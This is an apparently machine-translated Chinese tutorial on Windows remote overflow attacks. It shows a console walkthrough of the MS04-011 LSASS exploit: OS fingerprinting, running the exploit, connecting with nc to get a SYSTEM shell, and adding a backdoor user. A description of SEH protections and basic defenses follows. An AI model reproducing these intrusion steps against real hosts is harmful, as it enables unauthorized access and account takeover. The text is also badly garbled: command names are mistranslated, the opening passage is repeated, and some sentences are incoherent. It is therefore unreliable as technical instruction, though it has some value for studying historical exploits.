评论:我们看一个实例上的ms04011溢出比较经典:

微软的Windows XP版本2600年1月5日} {

(C)1985-2001微软公司版权所有

C:windowssystem32cd

C:>

C:>通用2××。159.31.96(判断操作系统)

----------------------------






我们看一个实例上的ms04011溢出比较经典:

微软的Windows XP版本2600年1月5日} {

(C)1985-2001微软公司版权所有

C: Windows System32 光盘

C: >

C:通用2××。159.31.96(判断操作系统)

----------------------------

thcsmbgetos V0.1变组

由Johnny Cyberpunk(

----------------------------

{连接端口。139…

{发送会话请求。

{ * }发送谈判要求

发送安装程序帐号

{ }。成功的…

远程操作系统:

----------

工作组

Windows 2000局域网管理器

Windows 5.1

c:

C: > ms04011 1 2 * *。159.31.96(溢出格式)

shellcode尺寸404

RET值= 1727

c:

C:数控2 * 1234。159.31.96(NC连接)

微软的Windows XP版本2600年1月5日} {

(C)1985-2001微软公司版权所有

D: Windows System32 >(获取目标机外壳)

D: Windows System32 >网用户测试/添加

NET用户测试

命令已成功完成。(设置用户)

上述只是一个简单的溢出过程演示,有正溢出,只有直接溢出用NC连接后,也可以反向溢出,溢出通常是用来突破防火墙,通过数控机器监控端口,等待服务器连接到反向溢出并获得系统权限壳,有很多溢出,如IIS,mso4045,ms04049,ms05039,ms05051,ms06061和一些远程MSSQL远程溢出的经典应用,如果不是SP3可以获得系统权限,邮件服务也可以通过远程溢出获得系统权限。有很多病毒比如冲击波波、冲击波病毒是RPC和LSASS的overf使用低,然后继续感染一台机器到其他漏洞的网络节点扫描机溢出植入病毒程序,不断复制。

但windiws2003溢出下是无用的,因为在2003有一个SEH处理技术保护机制是一个函数指针控制,2003结构化异常处理登记程序后,该函数指针将被存储在一个模块调用的地址列表中加载配置目录,如果函数返回时,系统栈中Cookie的改变,因为系统将溢出,检查是否有处理函数指针,在一些词的当前线程关联相应的SEH,系统会登记一个函数指针和地址的列表控件,如果没有发现匹配,和堆栈上的异常处理程序没有运行一个函数指针,如果程序的指针函数位于被加载的DLL模块的各个地址的范围内,处理函数将被执行。可控的异常处理技术将不能覆盖SEH指针的传统方法。尽管外界加载的模块地址可用于覆盖的她,在一个远程溢出仍然薄弱。

让我们看看局部溢出。本地溢出主要用于增强特权。以前的Serv-U本地溢出已经注射。现在让我们来看一下本地特权升级漏洞。



通过执行本地溢出直接从用户用户到系统权限。

溢出攻击的安全防范:

关闭139端口和停止ICP / IP NetBIOS服务。

高级选项中的TCP / IP协议在本地连接属性窗口禁用netbios(S)在TCP / IP因为许多泄漏通道,使用。

安装防火墙是必要的。

补丁(如冲击波补丁、冲击波补丁)和系统的自动更新。

服务器使用Windows2003系统。